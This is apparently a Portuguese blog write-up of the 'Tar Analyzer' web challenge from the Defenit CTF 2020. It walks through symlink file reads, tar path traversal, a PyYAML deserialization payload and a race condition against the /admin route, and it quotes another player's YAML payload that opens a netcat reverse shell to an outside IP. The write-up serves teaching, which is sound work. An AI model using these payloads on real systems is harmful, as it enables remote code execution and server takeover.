O Defenit CTF é um desafio de Capture The Flag da Coreia do Sul, que ocorreu nos dias 5 a 7/06/2020, que contou com 427 participantes do mundo inteiro.
Esta foi a primeira competição de CTF que participei efetivamente e fiquei bem animado em pontuar! Infelizmente não tive muito tempo disponível durante o desafio e só consegui trabalhar em um deles, o Tar Analyzer, um desafio de Web Hacking que foi extremamente divertido, com várias técnicas diferentes.
No final do desafio, descobri que poderia ter resolvido de forma muito mais simples, com um chute simples. Como não testei isso, acabei dando uma volta gigante, resolvendo de fato o problema previsto. Valeu muito a pena pelo aprendizado envolvido, já que eu não estava realmente competindo pelas primeiras colocações.
Como a ideia aqui é ser didático, e não simplesmente gerar um relatório, decidi colocar a linha de raciocínio, mas mudei um pouco a ordem cronológica pra ficar mais fácil de entender.
Web Hacking em Competições de CTF
Em um CTF, o objetivo é descobrir a flag (bandeira), que mundialmente é padronizada neste formato: ctf{password}. No caso do defenit, o formato das flags é Defenit{XXXX}, onde XXXX é a senha.
A flag costuma estar em algum arquivo que você não teria acesso normalmente ou dentro de um banco de dados, por exemplo (ou numa tabela FLAG ou, por exemplo, dentro do campo de senha). Já vi um caso onde estava na variável de ambiente.
Se você conseguir comprometer o alvo a ponto de explorar o filesystem ou banco de dados, provavelmente não vai ter dificuldade de encontrar a flag (se tiver muito achismo envolvido, o CTF não foi tão bem elaborado).
O Desafio
Você começa com uma ferramenta online onde é possível fazer uploads de arquivos no formato TAR (tarball) e visualizar os arquivos online.
Este é um daqueles desafios em que o código-fonte está disponível para analisar e encontrar vulnerabilidades.
Disponibilizei no meu git e é muito fácil de rodar:
https://github.com/Neptunians/defenit-ctf/tree/master/2020/tar-analyzer/tar-analyzer
Pra conhecer a ferramenta, vamos gerar um arquivo .tar pra ver como ele se comporta:
neptunian:~/ctf/analysis$
neptunian:~/ctf/analysis$ free -m > arq1.txt
neptunian:~/ctf/analysis$ curl www.google.com > arq2.html
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 12562 0 12562 0 0 95166 0 --:--:-- --:--:-- --:--:-- 95166neptunian:~/ctf/analysis$ tar cvf neptunian1.tar arq1.txt arq2.html
arq1.txt
arq2.html
neptunian:~/ctf/analysis$
Ao fazer o Upload, os arquivos são listados, via URL /analyze:
E mostra o arquivo. A URL do arquivo fica /<HASH_MD5>/nomearquivo
Não precisamos de muita tentativa e erro aqui, porque temos o código-fonte. Vamos dar uma olhada no que a gente consegue influenciar inicialmente: o processo de upload (/analyze)
Resumindo:
- Gera um hash MD5 do IP do cliente, e salva o arquivo como temp/<MD5>.tar.
- Valida se o arquivo é realmente um tarball — realmente abre o arquivo pra ver se é legível. Isso evita de fato o upload de outros tipos de arquivo (não que seja um grande obstáculo neste caso).
- Extrai os arquivos para a pasta temp/<MD5>/<nomearquivo>
- Renderiza a tela com a lista de arquivos via templates/analyze (Não se mostrou útil, então não vamos analisar).
Lendo qualquer arquivo no servidor
Uma análise importante é verificar se podemos ler algum arquivo importante direto na própria URL. Pra isso, vamos analisar brevemente o código que permite a visualização dos arquivos:
Resumindo:
- Coloca o diretório temp/ na frente do arquivo.
- Substitui a expressão ‘..’ para evitar tentativas de path traversal.
- Envia o arquivo com o nome completo.
Embora o código não esteja utilizando as melhores práticas de segurança pra esse tipo de cenário (send_from_directory), não consegui acessar direto pela URL.
Isso não foi um problema porque descobri outra forma de ler qualquer coisa que queria no servidor: links simbólicos dentro do arquivo tar. Pra fazer um teste, vamos simular o mesmo nível de diretório onde os arquivos são extraídos no servidor, e tentar enviar um link simbólico para o arquivo de configuração (config.yaml). Depois falamos mais sobre este arquivo.
O conteúdo original do arquivo é este:
allow_host: 127.0.0.1
message: Hello Admin!
Vamos ao teste, criando um tar com o link simbólico pra fazer o upload:
$ ln -s ../../config.yaml config.txt$ tar cvf config.tar config.txt
config.txt$ ls -lart
total 20
drwxr-xr-x 3 neptunian neptunian 4096 jun 11 15:51 ..
lrwxrwxrwx 1 neptunian neptunian 17 jun 11 15:56 config.txt -> ../../config.yaml
-rw-rw-r-- 1 neptunian neptunian 10240 jun 11 15:56 config.tar
drwxrwxr-x 2 neptunian neptunian 4096 jun 11 15:56 .$ cat config.txt
allow_host: 127.0.0.1
message: Hello Admin!
Ao fazer o upload e clicar no arquivo config.txt:
Sucesso!! Leio qualquer arquivo que quiser!
Com isso, consegui ler todos os arquivos do servidor que o usuário tem acesso:
- /etc/passwd
- /proc/self/environ
- /etc/hosts
Não consegui ler o /etc/shadow, que guarda as senhas encriptadas (por falta de privilégio).
Apesar de poder ler quase todos os arquivos, eu ainda preciso saber o nome do arquivo pra ler, mas não sei onde está a flag. Não chutei bem o suficiente, mas vamos chegar lá.
Gravando arquivos não permitidos no servidor
Até então, já consegui ler qualquer arquivo do servidor, mas isso não me ajudou em muita coisa. Claro que já tinha tentado enviar arquivos de código pra testar se o servidor interpretava (como .py e .php). Lógico que não funcionou, pelo que já analisamos no código-fonte do download. Ele só envia os arquivos.
Próxima tentativa: a aplicação descompacta os arquivos sem filtro nenhum. Será que eu consigo fazer um path traversal enviando arquivos .tar com paths relativos? Exemplo: ../../app.py, pra sobrescrever o próprio código-fonte da aplicação.
Tentei, mas não consegui criar paths relativos com o comando tar. Olhei inclusive a especificação do arquivo pra ver se conseguia editar o binário, mas isso quebra o CRC e decidi que provavelmente tinha um jeito mais fácil de fazer isso, sem descer tanto o nível. O pacote tar do Python!
Comecei testando o arquivo um nível acima (diretório temp), pra testar a técnica.
$ echo “Subindo um nivel” > ../nivel.txt
$ python
Python 3.7.4 (default, Aug 13 2019, 20:35:49)
[GCC 7.3.0] :: Anaconda, Inc. on linux
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import tarfile
>>> tar = tarfile.open(“uplevel.tar”, “w”)
>>> tar.add(“../nivel.txt”)
>>> tar.close()
>>> quit()
$ tar tvf uplevel.tar
tar: Removing leading `../’ from member names
-rw-r — r — neptunian/neptunian 17 2020–06–11 16:28 ../nivel.txt
$
Apesar da mensagem feia do comando tar, o arquivo de fato foi gravado com um path relativo. Testando:
Sucesso!! Posso escrever no filesystem do servidor!
De qualquer forma, ele só mostra, via URL, arquivos dentro do diretório temp. Isso não é um problema, porque eu consigo ler também com a técnica anterior, via link simbólico.
Mas agora cheguei em um ponto muito chato: consigo ler e escrever arquivos no servidor mas isso ainda não resolve o meu problema. Eu não consigo sobrescrever o código-fonte da aplicação. Até consigo, mas só funciona se a aplicação reiniciar e eu não consigo fazer isso.
Preciso de, alguma forma, rodar comandos no servidor.
Entendendo o “admin”
Em um CTF, as aplicações alvo são muito simples, sem muito lixo. Tudo o que está lá normalmente tem um objetivo que faz parte do jogo. Nessa aplicação, tem uma URL /admin que, à primeira vista, não parece servir pra muita coisa.
Resumindo
- Antes de qualquer coisa, ele volta o arquivo config.yaml à configuração original (mencionada mais acima).
- Atualiza as configurações da aplicação, lendo o arquivo config.yaml, configuração allow_host.
- Faz uma checagem do host, verificando se o IP de origem é 127.0.0.1 (lido do arquivo de configuração).
- Caso a comparação dê sucesso, envia para o cliente o conteúdo da configuração message.
De primeira, achei que a configuração message, dentro do config.yaml, tivesse a flag, mas já tinha lido este arquivo e a mensagem é default: Hello Admin.
O /admin tem dois problemas:
- Aparentemente só funciona a partir da máquina local
- Mesmo que funcione, só mostra a mensagem fixa Hello Admin.
Também analisei o código-fonte no servidor (via leitura no link simbólico) pra ver se tinha alguma diferença, mas era o exato mesmo código.
Pra que serve o admin?? Só descobri depois, mas esse entendimento é importante pra compreender a solução.
Atacando a configuração — PyYAML
Fiquei travado sem conseguir a flag, mesmo conseguindo ler e escrever arquivos no servidor. Aí aconteceu uma coisa estranha que me fez dar os próximos passos. Lembra de quando eu li o arquivo config.yaml do servidor? Numa das vezes que li, apareceu o código diabólico abaixo:
!!map {
? !!str “goodbye”
: !!python/object/apply:os.system [
!!str “nc -e /bin/sh 52.111.111.111 8080”,
],
}
Primeiro achei que fosse parte do desafio, mas percebi que outros hackers estavam alterando o arquivo de configuração! No caso acima, ele estava tentando rodar o comando nc (netcat) no servidor, direcionando para o IP acima (mascarado) e porta 8080, pra abrir um shell reverso.
Numa brincadeira, loguei no endereço e recebi o comando ls do hacker, achando que tinha funcionando! Mandei um Hello pra brincar um pouco com o colega, mas voltei ao que interessa.
Ao pesquisar um pouco, verifiquei que existe uma vulnerabilidade relacionada a arquivos de configuração yaml, com pelo menos dois pacotes Python diferentes (neste caso, era utilizado o PyYAML). Apesar do config.yaml ser um arquivo de configuração, o que ele faz é basicamente uma deserialização do conteúdo, como se fosse um objeto codificado.
Com essa deserialização, podemos gravar um “objeto Python” escondido na configuração, que é carregado quando o objeto é lido (load). Depois de alguma luta, consegui simular a falha localmente, conforme abaixo:
$ cat /tmp/nep.txt
cat: /tmp/nep.txt: No such file or directory$ cat sample.yaml
!!python/object/apply:os.system [
!!str “find ../ > /tmp/nep.txt”,
]$ python
Python 3.7.4 (default, Aug 13 2019, 20:35:49)
[GCC 7.3.0] :: Anaconda, Inc. on linux
Type “help”, “copyright”, “credits” or “license” for more information.
>>> from yaml import *
>>> fp = open(‘sample.yaml’, ‘rb’)
>>> config = load(fp.read(), Loader=Loader)
>>> quit()$ cat /tmp/nep.txt
../
../other_files.txt
../f528764d624db129b32c21fbca0cb8d6
../9eea719ae29960691c72dac70bd0a33a
../9eea719ae29960691c72dac70bd0a33a/config2.txt
$
Legal!! O código acima chama, via módulo pyaml, a função load, que carrega a minha configuração maliciosa (sample.yaml), que executa o comando find ../ > /nep.txt.
Na minha máquina é sempre mais fácil. E será que dá pra aproveitar isso de alguma forma no servidor?
Bom, preciso fazer que o comando load seja executado no servidor, utilizando a minha configuração maliciosa. Tem um trecho de código que faz isso:
Neste trecho, ele abre o arquivo config.yaml e eu já sei que consigo sobrescrever esse arquivo utilizando caminhos relativos no arquivo tar, mas tem um problema: esse código é chamado no /admin e, logo antes de carregar essa configuração, ele sobrescreve o arquivo, via função initialize().
Então, mesmo se eu sobrescrever o arquivo de configuração, ele volta o original antes de fazer o load, bloqueando essa estratégia. Ou não :)
Race Condition + RCE (Remote Code Execution)
Existe uma pequena janela de oportunidade, provavelmente de algumas centenas de milissegundos, entre o momento em que ele grava a nova configuração e o momento em que ele faz o load. Se nesse micro-intervalo, eu conseguir sobrescrever o arquivo de configuração, ele vai ler o arquivo que eu quero e rodar o comando que eu quiser no servidor.
Pra isso eu preciso chamar a url /admin e, em paralelo, fazer o upload do tar malicioso, de forma que ele sobrescreva o arquivo de configuração exatamente no intervalo entre o initialize() e o hostcheck(). Missão impossível se fizer manualmente, mas.. e se eu fizer um monte de vezes?
O upload demora tempo demais pra essa operação. Quando eu fizer o segundo upload, a minha janela de oportunidade já morreu.
Existe um jeito! Se eu colocar vários arquivos de configuração dentro do tar, com o caminho relativo, ele vai descompactar um por um em cima do config.yaml. Enquanto isso, eu chamo o /admin em loop e torço pra que a coincidência do destino ocorra.
Pra isso, vou usar um script pra gerar o meu arquivo tar. Descobri depois que precisava de muitas cópias do arquivo pra funcionar, então, gerei o script abaixo:
O que ele faz é gerar o tar, com 5000 cópias do arquivo config.yaml, malicioso, e com caminho relativo, pra gerar o loop no servidor. O arquivo tar ficou com 5MB!
Depois, uma linha de comando muito simples pra fazer o loop no /admin:
Agora, é gerar um outro tar com link simbólico apontando para o arquivo /tmp/owned3.txt, pra onde mandei a saída do comando final. O payload final (YAML) ficou conforme abaixo:
Após algumas tentativas, o arquivo /tmp/owned3.txt foi gerado!! Exploração de Race Condition com sucesso!!
Pelo resultado do comando ls -l /, que a flag estava no arquivo /flag.txt (sim, na raiz do servidor), que obtive usando mais um link simbólico.
Defenit{R4ce_C0nd1710N_74r_5L1P_w17H_Y4ML_Rce!}
Owned!!! 😎
Falha no desafio
O uso do link simbólico pra ler arquivos no servidor não era intencional dos organizadores do desafio, mas vários grupos conseguiram resolver dessa forma.
Se eu tivesse só feito um teste básico pra saber se a flag estava em /flag.txt, teria resolvido muito mais rápido. De qualquer forma, essa “falha” rendeu um aprendizado gigante que valeu muito a pena.
Técnicas Utilizadas
Nesse desafio, acabei utilizando as seguintes técnicas:
- Symlink Race: enviar links simbólicos pra acessar arquivos não permitidos.
- Zip Slip: enviar caminhos relativos dentro de arquivos compactados (neste caso, empacotados), podendo gravar.
- PyYAML Deserialization: utilizar a falha na deserialização de arquivos no formato yaml.
Finalizando
Infelizmente não consegui tempo pra trabalhar nos outros desafios, mas fiquei feliz de constar nas pontuações
Se por acaso, você gostou deste post, comente. Se você testou, a sua experiência é muito bem vinda nos comentários!
Referências
- Site da organização: https://defenit.kr/ (o CTF saiu do ar, então só tem um blog em coreano)
- CTF Time — Evento: https://ctftime.org/event/1060
- CTF Time — Desafio: https://ctftime.org/task/11854